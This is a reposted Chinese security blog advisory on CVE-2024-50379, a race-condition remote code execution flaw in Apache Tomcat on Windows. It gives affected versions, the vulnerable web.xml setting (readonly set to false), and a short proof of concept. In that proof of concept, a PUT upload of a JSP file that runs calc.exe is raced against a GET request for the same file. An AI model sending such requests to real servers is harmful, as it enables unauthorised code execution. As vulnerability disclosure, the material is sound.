CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)

admin 2024年12月22日01:52:36评论27 views字数 1454阅读4分50秒阅读模式

0x00 前言

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由于Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

0x01 漏洞描述

由于Tomcat在验证文件路径时存在缺陷,如果readonly参数被设置为false(这是一个非标准配置),并且服务器允许通过PUT方法上传文件,那么攻击者就可以上传含有恶意JSP代码的文件。通过不断地发送请求,攻击者可以利用条件竞争,使得Tomcat解析并执行这些恶意文件,从而实现远程代码执行。

0x02 CVE编号

CVE-2024-50379

0x03 影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.210.1.0-M1 <= Apache Tomcat < 10.1.349.0.0.M1 <= Apache Tomcat < 9.0.98

0x04 漏洞详情

利用条件:

在Windows系统下启用PUT请求方式,并将readonly初始化参数设置为非默认值false。
web.xml配置:
<!DOCTYPE web-appPUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>Archetype Created Web Application</display-name><servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><!-- 设置 readonly 为 false,允许资源被写入或修改 --><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping></web-app>

并发读取和上传同一文件

PUT /d.Jsp·HTTP/1.1Content-Type:application/jsonHost:aa<%·Runtime.getRuntime().exec("calc.exe");%>
GET /d.jsp HTTP/1.1Content-Type:application/jsonHost:
CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)

0x05 参考链接

https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

原文始发于微信公众号(信安百科):CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月22日01:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)https://cn-sec.com/archives/3538024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息